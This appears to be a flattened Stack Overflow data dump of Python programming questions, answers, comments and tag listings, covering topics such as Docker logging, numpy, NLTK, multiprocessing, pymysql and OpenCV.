has body: You have specified file 'error.log' in command logging.basicConfig(filename="error.log", level=logging.DEBUG) for logger to put your logs into. This file is located inside your container and since containers are stateless, you have to mount the log file somewhere in your local machine in order to have access after powering off your container. You can read this for more information. BTW, if you want to access the log file while it's already up, you can use exec option of the docker to make an interactive shell through the container and find the logs: docker exec -it ${container_name} This documentation will helpful for exec commandline option.
upvote count: 10

http://stackoverflow.com/comment/84552017
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48773484
has text: they were larger files with more fields but I removed all the other fields.. so it is just the format that the files are currently saved as..
score: 0

http://stackoverflow.com/comment/84527912
comment on: http://stackoverflow.com/q/48763676
type: QuestionComment
score: 6
has text: Your variable name is the same as your function... this seems like a bad idea
type: Comment

http://stackoverflow.com/a/48714388
has body: The basic format for a non-object dtype is a header block (with shape, dtype, strides, etc), followed by a byte copy of its data buffer. In other words something akin to this sequence: In [129]: x Out[129]: array([[1, 2, 3], [4, 5, 6]]) In [130]: x.tostring() Out[130]: b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00' In [132]: np.frombuffer(__, dtype=int) Out[132]: array([1, 2, 3, 4, 5, 6]) But if I change the dtype to object: In [134]: X = x.astype(object) In [135]: X Out[135]: array([[1, 2, 3], [4, 5, 6]], dtype=object) In [136]: X.tostring() Out[136]: b'`\x1bO\x08p\x1bO\x08\x80\x1bO\x08\x90\x1bO\x08\xa0\x1bO\x08\xb0\x1bO\x08' Those data buffer bytes point to locations in memory. Since these are small integers they may point to the unique cached values In [137]: id(1) Out[137]: 139402080 In [138]: id(2) Out[138]: 139402096 If the elements instead are arrays, they would point to those arrays stored elsewhere in memory (to the ndarray objects, not their databuffers). To handle objects like this np.save uses pickle. Now the pickle for a ndarray is its save string. I don't know where the np.save puts those strings. Maybe it streams in line, maybe uses pointers to points latter in the file. You/we'd have to study the np.save (and function calls) to determine how this data is saved. I've looked enough to see how several arrays could be saved and loaded from a file, but haven't focused on the object dtype layout. The relevant code is in numpy/lib/npyio.py, numpy/lib/format.py The format file has a doc block about the save format. np.save format.write_array If non-object write_array uses array.tofile(fp). If object, it uses pickle.dump(array, fp) Similarly read_array uses np.fromfile(fp, dtype) and pickle.load. So that means we need to delve into how the array pickle.dump is done.
accepted answer of: http://stackoverflow.com/q/48714155
answers question: http://stackoverflow.com/q/48714155
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1

tkinter
tags question: http://stackoverflow.com/q/48794553
tags question: http://stackoverflow.com/q/48774851
tags question: http://stackoverflow.com/q/48739467
tags question: http://stackoverflow.com/q/48754014
tags question: http://stackoverflow.com/q/48695131
tags question: http://stackoverflow.com/q/48791203
tags question: http://stackoverflow.com/q/48776228
tags question: http://stackoverflow.com/q/48778189
tags question: http://stackoverflow.com/q/48785940
tags question: http://stackoverflow.com/q/48725158
tags question: http://stackoverflow.com/q/48676325
tags question: http://stackoverflow.com/q/48766484
tags question: http://stackoverflow.com/q/48778951
tags question: http://stackoverflow.com/q/48773658
tags question: http://stackoverflow.com/q/48698283
tags question: http://stackoverflow.com/q/48798410
tags question: http://stackoverflow.com/q/48721627
tags question: http://stackoverflow.com/q/48753943
tags question: http://stackoverflow.com/q/48758593
tags question: http://stackoverflow.com/q/48653833
tags question: http://stackoverflow.com/q/48734126
tags question: http://stackoverflow.com/q/48715732
tags question: http://stackoverflow.com/q/48686395
tags question: http://stackoverflow.com/q/48802454
tags question: http://stackoverflow.com/q/48730345
tag name: tkinter
tags question: http://stackoverflow.com/q/48666233
tags question: http://stackoverflow.com/q/48800721
tags question: http://stackoverflow.com/q/48682310
tags question: http://stackoverflow.com/q/48758013
tags question: http://stackoverflow.com/q/48735986
tags question: http://stackoverflow.com/q/48651692
tags question: http://stackoverflow.com/q/48679369
tags question: http://stackoverflow.com/q/48779331
tags question: http://stackoverflow.com/q/48701116
tags question: http://stackoverflow.com/q/48693733
tags question: http://stackoverflow.com/q/48722084
tags question: http://stackoverflow.com/q/48756304
tags question: http://stackoverflow.com/q/48669457
tags question: http://stackoverflow.com/q/48767101
tags question: http://stackoverflow.com/q/48794520
tags question: http://stackoverflow.com/q/48766677
tags question: http://stackoverflow.com/q/48737346
tags question: http://stackoverflow.com/q/48702696
tags question: http://stackoverflow.com/q/48757284
tags question: http://stackoverflow.com/q/48737796
tags question: http://stackoverflow.com/q/48725559
tags question: http://stackoverflow.com/q/48797063
tags question: http://stackoverflow.com/q/48654628
tags question: http://stackoverflow.com/q/48704979
tags question: http://stackoverflow.com/q/48749982
tags question: http://stackoverflow.com/q/48741305
tags question: http://stackoverflow.com/q/48658332
tags question: http://stackoverflow.com/q/48728488
tags question: http://stackoverflow.com/q/48792739
tags question: http://stackoverflow.com/q/48716360
tags question: http://stackoverflow.com/q/48731746
tags question: http://stackoverflow.com/q/48741012
tags question: http://stackoverflow.com/q/48726956
tags question: http://stackoverflow.com/q/48721893
tags question: http://stackoverflow.com/q/48729841
tags question: http://stackoverflow.com/q/48754190
tags question: http://stackoverflow.com/q/48757478
tags question: http://stackoverflow.com/q/48755315
tags question: http://stackoverflow.com/q/48713075
tags question: http://stackoverflow.com/q/48714948
tags question: http://stackoverflow.com/q/48683534
tags question: http://stackoverflow.com/q/48757411
tags question: http://stackoverflow.com/q/48781017
tags question: http://stackoverflow.com/q/48736168
tags question: http://stackoverflow.com/q/48775119
tags question: http://stackoverflow.com/q/48748249
tags question: http://stackoverflow.com/q/48794267
tags question: http://stackoverflow.com/q/48800379
tags question: http://stackoverflow.com/q/48771217
tags question: http://stackoverflow.com/q/48765762
tags question: http://stackoverflow.com/q/48720727
tags question: http://stackoverflow.com/q/48676144
tags question: http://stackoverflow.com/q/48769993
tags question: http://stackoverflow.com/q/48660500

http://stackoverflow.com/q/48660547
favorite count: 0
has answer: http://stackoverflow.com/a/48676189
has answer: http://stackoverflow.com/a/53944571
tagged with: python
tagged with: nlp
has title: How can I extract GPE(location) using NLTK ne_chunk?
type: AnsweredQuestion
score: 1
possible better answer: http://stackoverflow.com/a/53944571
tagged with: geolocation
linked to: http://stackoverflow.com/q/31689621
upvote count: 1
tagged with: named-entity-recognition
linked to: http://stackoverflow.com/q/31836058
type: Question
accepted answer: http://stackoverflow.com/a/48676189
tagged with: nltk
answer count: 2
downvote count: 0
has body: I am trying to implement a code to check for the weather condition of a particular area using OpenWeatherMap API and NLTK to find entity name recognition. But I am not able to find the method of passing the entity present in GPE(that gives the location), in this case, Chicago, to my API request. Kindly help me with the syntax.The code to given below. Thank you for your assistance import nltk from nltk import load_parser import requests import nltk from nltk import word_tokenize from nltk.corpus import stopwords sentence = "What is the weather in Chicago today? " tokens = word_tokenize(sentence) stop_words = set(stopwords.words('english')) clean_tokens = [w for w in tokens if not w in stop_words] tagged = nltk.pos_tag(clean_tokens) print(nltk.ne_chunk(tagged))

http://stackoverflow.com/q/48732506
has title: Python, threading, and requests: What happens when I make concurrent requests in one session?
accepted answer: http://stackoverflow.com/a/48733720
tagged with: session
has comment: http://stackoverflow.com/comment/84464195
upvote count: 4
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/84464304
linked to: http://stackoverflow.com/q/18188044
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/84464250
has answer: http://stackoverflow.com/a/48733720
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/84464353
tagged with: multithreading
has body: Let's say I make 5 requests via a requests.Session to a server, using a ThreadPoolExecutor: session = requests.Session() executor = concurrent.futures.ThreadPoolExecutor(max_workers=5) def post(data): response = mysession.post('http://example.com/api/endpoint1', data) return response for data in (data1, data2, data3, data4, data5): executor.submit(post, data) Since we are using the same requests.Session for each request, do we have to wait for the server to acknowledge the first request before we can send the next one? If I had 5 sessions open concurrently -- one session per thread -- would I be able to send the requests more rapidly by sending each request via its own session? The maintainer already recommends "one session per thread" so it's certainly doable... but will it improve performance? Would I be better off using aiohttp and async?
tagged with: python-requests
answer count: 1

http://stackoverflow.com/a/48686205
has body: &gt;&gt;&gt; digits= [3,4,3,2,1] &gt;&gt;&gt; from functools import reduce &gt;&gt;&gt; reduce(lambda x,y:10*x+y,digits) 34321 Edit: Now the script returns an integer, credit to schwobaseggl.
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84390673
score: 1
accepted answer of: http://stackoverflow.com/q/48686111
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84378373
answers question: http://stackoverflow.com/q/48686111

http://stackoverflow.com/comment/84340643
comment on: http://stackoverflow.com/q/48670701
type: Comment
has text: It still says 'If Column A is "FIRST"' and similarly for B below that.
type: QuestionComment
score: 1

directed-acyclic-graphs
type: Tag
tag name: directed-acyclic-graphs
tags question: http://stackoverflow.com/q/48691203
tags question: http://stackoverflow.com/q/48706272

http://stackoverflow.com/comment/84337743
comment on: http://stackoverflow.com/a/48669286
has text: it is writing values but when I plot the out put is wrong. actually the spatial resolution of grids 0.05 degree. It is showing 1. my coordinate increment is 0.05
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/131622807
has text: This answer is only correct for the symmetric difference, not the set / relational difference.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48647840

http://stackoverflow.com/comment/140026417
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79396606
type: Comment
has text: the code should not be an image but written as text between ```tags

http://stackoverflow.com/comment/84396533
has text: What are the bugs? What is your input? What is your output?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48698882
type: QuestionComment

http://stackoverflow.com/q/48754434
tagged with: c++
type: AnsweredQuestion
tagged with: boost
has comment: http://stackoverflow.com/comment/84511013
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/48827162
linked to: http://stackoverflow.com/q/27928374
answer count: 1
score: 0
has title: Is there a functionality in C++ to create a block matrix as simple as Python's `numpy.bmat`?
has body: Is there a functionality in C++ to create a block matrix as simple as numpy.bmat? Example: Python: m = np.bmat([[A, B], [C, D]]) C++ The only approach I know of is using boost::numeric::ublas::project: #include &lt;boost/numeric/ublas/matrix.hpp&gt; boost::numeric::ublas::matrix m; //... r1 = boost::numeric::ublas::range(i1, i2); r2 = boost::numeric::ublas::range(i3, i4); boost::numeric::ublas::project(m, r1, r2) = A; // repeat code above for other submatrices, each time calculating the appropriate indices
has answer: http://stackoverflow.com/a/48827162
tagged with: python
has comment: http://stackoverflow.com/comment/84511346

http://stackoverflow.com/a/48670017
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48669793
score: 0
type: Answer
has body: readlines() reads the ending newlines but your enter name has no newline. Replace: if HeroName in open("HeroHolder2.txt", "r+").readlines(): print(HeroName + ", is in database") with: if HeroName in [line.strip() for line in open("HeroHolder2.txt", "r+").readlines()]: print(HeroName + ", is in database")
has comment: http://stackoverflow.com/comment/84363911
accepted answer of: http://stackoverflow.com/q/48669793

http://stackoverflow.com/q/48718444
favorite count: 0
tagged with: aws-batch
tagged with: python
has title: how to retrieve aws batch parameter value in python?
upvote count: 3
accepted answer: http://stackoverflow.com/a/48729791
has body: Flow :- Dynamo DB --> Lambda --> Batch If a role arn is inserted in dynamo DB, it is retrieved from lambda event, it is then submitted to batch using submit_job API with role arn being passed as parameters={ 'role_arn': 'arn:aws:iam::accountid:role/role_name' } How to read the parameter value in python running in batch?
type: AnsweredQuestion
score: 3
type: Question
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48729791
tagged with: amazon-web-services

http://stackoverflow.com/a/48754687
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/48754537
score: 2
answers question: http://stackoverflow.com/q/48754537
has comment: http://stackoverflow.com/comment/84515088
has body: Each subprocess call makes its own shell, so your cd isn't actually affecting your later call, which is then breaking because you're in the wrong directory. Try os.chdir("G:\Programs\dsi_studio_64") subprocess.call("dsi_studio --action=trk --source=HarveyReg2.hdr.src.gz.odf4.f5rec.012fx.rdi.gqi.0.2.fib.gz --method=0 --fa_threshold=0.00000 --turning_angle=70 --step_size=0.01 --smoothing=0 --min_length=0.0 --max_length=300.0 --initial_dir=0 --seed_plan=0 --interpolation=0 --thread_count=12 --seed=leftprechiasm.nii.gz --roi=1.nii.gz --fiber_count=100 --output=track4.trk", shell=True) you can also do it with the cwd argument to call(), like subprocess.call("your long command", cwd="directory")

http://stackoverflow.com/comment/84586516
comment on: http://stackoverflow.com/a/48774218
type: AnswerComment
type: Comment
has text: @Ruth - I think this answer ( https://stackoverflow.com/questions/36694313/pandas-xlsxwriter-format-header ) should point you in the right direction on the bold format header front. Bold header is the default.
score: 1

serial-port
tags question: http://stackoverflow.com/q/48659036
tags question: http://stackoverflow.com/q/48663731
type: Tag
tag name: serial-port
tags question: http://stackoverflow.com/q/48757313

http://stackoverflow.com/q/48749775
type: Question
upvote count: 0
tagged with: pymysql
score: -1
tagged with: unicode
has body: I am trying to insert Unicode values using pymysql and getting a syntax error in the INSERT query. But it works fine when I encode the values with utf8, which I don't want. This is my code: from pymysql.cursors import * import pymysql from collections import OrderedDict import datetime class OrderedDictCursor(DictCursorMixin, Cursor): dict_type = OrderedDict conn1 = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='pwd', db='test', charset='utf8', use_unicode=True, autocommit=True) cursor1 = conn1.cursor(OrderedDictCursor) odict = OrderedDict([(u'id', 374), (u'title', u'Chapter 4'), (u'intro_list', u'Objective:\r\n\r\n* Exit any mininet launch done earlier using \u201cmn \u2013c\u201d\r\n'), (u'solution', u'%%beginpanel%%\r\n\r\n## 1. net\r\n\r\n```\r\nmn -c\r\n```\r\n\r\n \u201cCTRL+C\u201d \r\n\r\n%%endpanel%%\r\n'), (u'created', datetime.datetime(2017, 3, 9, 7, 58, 7)), (u'modified', datetime.datetime(2017, 8, 28, 4, 58, 15))]) cols = odict.keys() vals = odict.values() cursor1.execute("INSERT INTO %s (%s) VALUES (%s)" % ("test1", ",".join(cols), (str(vals)[1:-1]))) This throws a syntax error as, pymysql.err.ProgrammingError: (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Chapter 4', u'Objective:\r\n\r\n* Exit any mininet launch done earlier using \u' at line 1") Insert is successful when I encode the values with utf8, but that will also encode the values like, \u201cmn \u2013c\u201d and my app can't decode it back. I need a solution to insert my unicode values as is into my MySQL database. Anyone, please help.
has answer: http://stackoverflow.com/a/48755391
answer count: 1
has title: Unicode values in pymysql insert query
favorite count: 0
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48755391
tagged with: mysql
downvote count: 1

http://stackoverflow.com/q/48653461
tagged with: tree
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48667571
has body: In a .ph tree: GCF_900039355.1:3.966592789,(((GCF_001372255.1:4.133090019,GCF_000321125.2:3.866909981):0.07335448265,GCF_000590075.1:3.931073904):0.02735507488,GCF_001186415.1:3.951286316):0.009964346886 And a code table where the names of leaves have real names: GCF_900039355.1 A GCF_001372255.1 B GCF_000321125.2 C GCF_000590075.1 D GCF_001186415.1 E The solution was to use the same name and it subscribed the previous tree file: d = {"GCF_900039355.1":"A", "GCF_001372255.1":"B", "GCF_000321125.2":"C", "GCF_000590075.1":"D", "GCF_001186415.1":"E"} tree = "GCF_900039355.1:3.966592789,(((GCF_001372255.1:4.133090019,GCF_000321125.2:3.866909981):0.07335448265,GCF_000590075.1:3.931073904):0.02735507488,GCF_001186415.1:3.951286316):0.009964346886" for k, v in d.iteritems(): tree = string.replace(tree, k, v) print tree
type: Question
score: 0
answer count: 1
has title: Rename dendrogram leaves using table of codes
has comment: http://stackoverflow.com/comment/84330169
tagged with: python
has answer: http://stackoverflow.com/a/48667571

http://stackoverflow.com/comment/84614822
score: 0
type: AnswerComment
type: Comment
has text: So the weird thing is that it runs until the j=72 and i=22, and doesn't work for j=72 and i=23, and doesn't work for i=23 for any date after j=72 which is the 14th of March
comment on: http://stackoverflow.com/a/48792809

http://stackoverflow.com/q/48680046
accepted answer: http://stackoverflow.com/a/48680582
possible better answer: http://stackoverflow.com/a/70666333
has body: I have a code piece like below pool = multiprocessing.Pool(10) for i in range(300): for m in range(500): data = do_some_calculation(resource) pool.apply_async(paralized_func, data, call_back=update_resource) # need to wait for all processes finish # {...} # Summarize resource do_something_with_resource(resource) So basically I have 2 loops. I init process pool once outside the loops to avoid overheating. At the end of 2nd loop, I want to summarize the result of all processes. Problem is that I can't use pool.map() to wait because of variation of data input. I can't use pool.join() and pool.close() either because I still need to use the pool in next iteration of 1st loop. What is the good way to wait for processes to finish in this case? I tried checking for pool._cache at the end of 2nd loop. while len(process_pool._cache) &gt; 0: sleep(0.001) This way works but look weird. Is there a better way to do this?
tagged with: python
upvote count: 7
type: AnsweredQuestion
score: 7
has title: Python wait for processes in multiprocessing Pool to complete without either closing Pool or use map()
has answer: http://stackoverflow.com/a/48680582
tagged with: multiprocessing
type: Question
has answer: http://stackoverflow.com/a/66864750
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/70666333
answer count: 3

http://stackoverflow.com/comment/86290278
type: AnswerComment
type: Comment
has text: Update: Upgrading to pyodbc 4.0.23 should also help.
comment on: http://stackoverflow.com/a/48706633
score: 0

http://stackoverflow.com/comment/96511428
score: 0
type: Comment
has text: agree on ``scipy.signal.medfilt`` for that specific use case
type: AnswerComment
comment on: http://stackoverflow.com/a/48770315

http://stackoverflow.com/comment/84411497
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48706482
has text: @jamylak that is interesting. Would you happen to have a link at hand?

http://stackoverflow.com/comment/84500288
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48749806
has text: Also -- your method of shifting occasionally shifts alphabetic plaintext to non-alphabetic cipher text. You need to implement some sort of wrap-around involving modular arithmetic so that e.g. `z` maps to a letter and not some character whose ascii value is beyond that of z

http://stackoverflow.com/q/48716989
has comment: http://stackoverflow.com/comment/84433404
has comment: http://stackoverflow.com/comment/84433322
type: Question
has comment: http://stackoverflow.com/comment/84433410
has title: Sine Wave generation - get Y axis
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84433441
tagged with: trigonometry
has comment: http://stackoverflow.com/comment/84433295
has body: I'm trying to create an infinite loop that will output the Y axis of a sine wave, and want to use variables specifying the amplitude of the wave, frequency, and resolution. Where frequency is the number of full sine waves in a second like electrical AC frequency. I'm trying to do something like this: #!/usr/bin/python from time import sleep from math import sin amplitude=100 frequency=0.01 resolution=0.01 while True: y = &lt;Sine wave math&gt; print str(y) sleep(resolution) I need help with the math and getting the resolution part right.
has answer: http://stackoverflow.com/a/48717167
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48726099
has comment: http://stackoverflow.com/comment/84433357

http://stackoverflow.com/q/48659092
has answer: http://stackoverflow.com/a/48664026
tagged with: data-manipulation
has body: I have a problem with my current personal script that I made recently which utilizes a series of dictionaries and how to achieve a certain type of structure. This is the original structure: [ {'airfare': 1000, 'place': 'nameOfPlace', 'email_to': 'yahooEmail@yahoo.com, gmailEmail@gmail.com'}, {'airfare': 2000, 'place': 'nameOfPlace', 'email_to': 'yahooEmail@yahoo.com'}, {'airfare': 3000, 'place': 'nameOfPlace', 'email_to': 'gmailEmail@gmail.com'}, {'airfare': 4000, 'place': 'nameOfPlace', 'email_to': 'liveEmail@live.com'} ] And I wish to achieve something like this, I don't know if this is possible: [{'email_to': 'yahooEmail@yahoo.com', 'flight_details':[{'airfare': 1000, 'place': 'nameOfPlace' }, {'airfare': 2000, 'place': 'nameOfPlace'}]}, {'email_to': 'gmailEmail@gmail.com', 'flight_details':[{'airfare': 1000, 'place': 'nameOfPlace'}, {'airfare': 3000, 'place': 'nameOfPlace'}]}, {'email_to': 'liveEmail@live.com', 'flight_details':[{'airfare': 4000, 'place': 'nameOfPlace'}]}] Edited: I'm using python 3.5 and I fetch my data from sqlite database. The data is store in a list of dictionary as per original structure and I wish to save it on a json file based on the second structure I presented.
upvote count: 2
score: 0
answer count: 1
favorite count: 0
downvote count: 2
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84315802
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/48664026
has title: Python list of dictionaries manipulation
type: Question

http://stackoverflow.com/q/48791389
has answer: http://stackoverflow.com/a/48791503
has title: How can I create combinations of elements in a list one by one?
accepted answer: http://stackoverflow.com/a/48791503
answer count: 1
has comment: http://stackoverflow.com/comment/84584872
tagged with: python
type: AnsweredQuestion
has body: I have a list of elements [1, 2, 3, 4, 5], I want to generate combinations one by one, like [1, 2, 3], [2, 4, 5], etc. I tried using itertools.combinations but that makes a list of all possible combinations, which takes up too much memory space. How do I access each new combination right when it is generated?
has comment: http://stackoverflow.com/comment/84584965
has comment: http://stackoverflow.com/comment/84584896
type: Question
tagged with: combinations
score: 0
has comment: http://stackoverflow.com/comment/84584870

http://stackoverflow.com/a/48748488
answers question: http://stackoverflow.com/q/48748377
type: Answer
has comment: http://stackoverflow.com/comment/84872122
has body: You should try read and process one predefined chunk of data each time by using chunksize as explained here for chunk in pd.read_csv(f, sep = ' ', header = None, chunksize = 512): # process your chunk here
has comment: http://stackoverflow.com/comment/84610503
score: 0

http://stackoverflow.com/comment/111620945
has text: Hi @WerexZenok Thanks for the response, I also found a way around the SSL issue, I am using this client: https://github.com/websocket-client/websocket-client and setting this environment variable helped me: WEBSOCKET_CLIENT_CA_BUNDLE
type: Comment
comment on: http://stackoverflow.com/a/48760425
score: 0
type: AnswerComment

http://stackoverflow.com/q/48785472
linked to: http://stackoverflow.com/q/46534194
has comment: http://stackoverflow.com/comment/84607332
tagged with: recurrent-neural-network
tagged with: lstm
linked to: http://stackoverflow.com/q/41695117
downvote count: 0
tagged with: keras
linked to: http://stackoverflow.com/q/38714959
favorite count: 0
has comment: http://stackoverflow.com/comment/84605575
tagged with: python
has title: Training on multiple time-series of various length using recurrent layers in Keras
answer count: 0
has comment: http://stackoverflow.com/comment/84605086
has comment: http://stackoverflow.com/comment/84606509
has body: TL;DR - I have a couple of thousand speed-profiles (time-series where the speed of a car has been sampled) and I am unsure how to configure my models such that I can perform arbitrary forecasting (i.e. predict t+n samples given a sample t). I have read numerous explanations (1, 2, 3, 4, 5) about how Keras implements statefulness in their recurrent layers, and how one should reset/not reset between iterations, etc.. However, I am unable to acquire the model shape that I want (I think). As for now, I am only working with a subset of my profiles (denoted as routes in the code below). Number of training routes: 90 Number of testing routes: 10 The routes vary in length, hence, the first thing I do is to iterate through all routes and pad them with 0, so they are all the same length. (I have assumed this is required, if I am wrong please let me know.) After the padding I convert the routes into a format better suited for the supervised learning task, as described HERE. In this case I have opted to forecast the succeeding 5 steps of the current sample. The result is a tensor, as: Shape of trainig_data: (90, 3186, 6) == (nb_routes, nb_samples/route, nb_timesteps) which is split into X and y for training as: Shape of X: (90, 3186, 1) Shape of y: (90, 3186, 5) My goal is to have the model take one route at the time and train on it. I have created a model like this: # Create model model = Sequential() # Add recurrent layer model.add(SimpleRNN(nb_cells, batch_input_shape=(1, X.shape[1], X.shape[2]), stateful=True)) # Add dense layer at the end to acquire correct kind of forecast model.add(Dense(y.shape[2])) # Compile model model.compile(loss="mean_squared_error", optimizer="adam", metrics = ["accuracy"]) # Fit model for _ in range(nb_epochs): model.fit(X, y, validation_split=0.1, epochs=1, batch_size=1, verbose=1, shuffle=False) model.reset_states() Which would imply that I have a model with nb_cells layers, the input of the model is (number_of_samples, number_of_timesteps) i.e…
type: UnansweredQuestion
score: 1
linked to: http://stackoverflow.com/q/45623480
upvote count: 1
tagged with: machine-learning
type: Question

http://stackoverflow.com/q/48723037
has comment: http://stackoverflow.com/comment/84444957
tagged with: python
tagged with: computer-vision
tagged with: opencv
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48723108
has body: Please Help me. I'm running a face recognition detector python program that will display the data from sqllite studio database... import cv2,os import sqlite3 import numpy as np from PIL import Image import pickle recognizer = cv2.face.LBPHFaceRecognizer_create() recognizer.read('trainer/trainer.yml') cascadePath = "Classifiers/face.xml" faceCascade = cv2.CascadeClassifier(cascadePath); path = 'dataSet' def getProfile(Id): conn=sqlite3.connect("facebase.db") cmd="SELECT * FROM people WHERE ID="+str(Id) cursor=conn.execute(cmd) profile=None for row in cursor: profile=row conn.close() return profile cam = cv2.VideoCapture(0) font = cv2.FONT_HERSHEY_SIMPLEX #Creates a font while True: ret, im =cam.read() gray=cv2.cvtColor(im,cv2.COLOR_BGR2GRAY) faces=faceCascade.detectMultiScale(gray, 1.2,5) for(x,y,w,h) in faces: cv2.rectangle(im,(x,y),(x+w,y+h),(225,0,0),2) Id, conf = recognizer.predict(gray[y:y+h,x:x+w]) profile=getProfile(Id) if(profile!=None): #cv2.putText(im,str(profile[1]),(x,y+h+20),font, 2, 255, 3) cv2.putText(im, str(profile[1]), (x,y-40), font, 2, (255,255,255),3) #cv2.putText(im,str(profile[2]),(x,y+h+40),font, 2, 255, 3) cv2.putText(im, str(profile[2]), (x,y-80), font, 2, (255,255,255),3) else: Id="Unknown" cv2.rectangle(im, (x-22,y-90), (x+w+22, y-22), (0,255,0), -1) cv2.putText(im, str(Id), (x,y-40), font, 2, (255,255,255), 3) cv2.imshow('im',im) if cv2.waitKey(10) &amp; 0xFF==ord('q'): break cam.release() cv2.destroyAllWindows() that was the program the error was Traceback (most recent call last): File "C:\Users\Titus John\Desktop\New folder (6)\Face-Recognition- master\detector.py", line 38, in &lt;module&gt; cv2.putText(im, str(profile[2]), (x,y-80), font, 2, (255,255,255), 3) IndexError: tuple index out of range And i'm using python 3.4 and opencv 3.4 Can anyone help me??? im new in python. Thank you so much....
tagged with: opencv3.0
type: Question
has comment: http://stackoverflow.com/comment/84444857
has comment: http://stackoverflow.com/comment/84445415
accepted answer: http://stackoverflow.com/a/48723108
score: 0
answer count: 1
tagged with: mysql-python
has title: IndexError: tuple index out of range -python

http://stackoverflow.com/a/48672203
downvote count: 0
has body: On Python 2, / defaults to truncating integer division when passed int operands, not "true division" (which produces float results). You can fix in one of two ways: Add from __future__ import division to the top of the file to use Python 3 division rules (/ means true division always, where you use // if you really mean floor division) Change either 3 or 360 to float literals so the math is performed float-style, e.g. time.sleep(3. * abs(ang) / 360) or time.sleep(3 * abs(ang) / 360.)
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48672142
score: 1

http://stackoverflow.com/q/48690736
tagged with: pymongo
type: Question
tagged with: mongodb
downvote count: 0
tagged with: python-2.7
answer count: 1
score: 1
favorite count: 0
has title: Is there any way to decrease the time it takes for a pymongo.errors.AutoReconnect to occur?
type: UnansweredQuestion
has body: I'm using a 3-node MongoDB replica set and connecting to it using Pymongo v3.3.1. In testing the handling of errors like AutoReconnect and ServerSelectionTimeout and such I find that I can't (safely/reliably) control how long it takes to raise an AutoReconnect exception. If I instantiate MongoClient with the argument serverSelectionTimeoutMS set to, for instance, 2000, I do see the ServerSelectionTimeout exceptions return in about 2 seconds. However, when the conditions are just right to trigger an AutoReconnect it always takes at least 20 seconds, sometime closer to 30 seconds! How can I constrain this behavior? I'm shooting for relatively high availability and want to detect network/replica set anomalies and commence my retry logic rather rapidly.
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48690738

http://stackoverflow.com/comment/84669040
has text: @BryanOakley Same issue with <<ListboxSelect>> instead of <Button-1> even if I add "btags = self.files.bindtags() self.bindtags(btags[1:] + btags[:1])" Before
comment on: http://stackoverflow.com/q/48776228
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/48669477
upvote count: 1
has comment: http://stackoverflow.com/comment/84339865
downvote count: 1
tagged with: opencv
type: AnsweredQuestion
type: Question
has body: I'm running cv2.HoughLines() and I thought it returns a list of list containing just rho and theta. however, what I get is a list of list containing 3 values. Does anyone know why? Here's my output: [[ 274. 2.11184835 563. ]] [[ -8. 2.30383468 500. ]] [[ 219. 2.14675498 479. ]] [[ 142. 2.1991148 460. ]] ... I'm on 3.4. EDIT: Here's some code: from __future__ import print_function import cv2 as cv import numpy as np import sys import math if __name__ == '__main__': print(__doc__) try: fn = sys.argv[1] except IndexError: fn = "../data/pic1.png" src = cv.imread(fn) dst = cv.Canny(src, 50, 200) cdst = cv.cvtColor(dst, cv.COLOR_GRAY2BGR) if False: # HoughLinesP lines = cv.HoughLinesP(dst, 1, math.pi/180.0, 40, np.array([]), 50, 10) a,b,c = lines.shape for i in range(a): cv.line(cdst, (lines[i][0][0], lines[i][0][1]), (lines[i][0][2], lines[i][0][3]), (0, 0, 255), 3, cv.LINE_AA) else: # HoughLines lines = cv.HoughLines(dst, 1, math.pi/180.0, 50, np.array([]), 0, 0) if lines is not None: a,b,c = lines.shape for i in range(a): print(lines[i]) Here's the image:
answer count: 1
has answer: http://stackoverflow.com/a/48679109
favorite count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84353954
has title: HoughLines returns 3-value vectors
score: 0
accepted answer: http://stackoverflow.com/a/48679109

http://stackoverflow.com/q/48787141
has comment: http://stackoverflow.com/comment/84576122
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48793694
accepted answer: http://stackoverflow.com/a/48793694
favorite count: 0
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/84582431
tagged with: python
has title: Iterating over click while scraping data using selenium and python
tagged with: selenium-webdriver
type: AnsweredQuestion
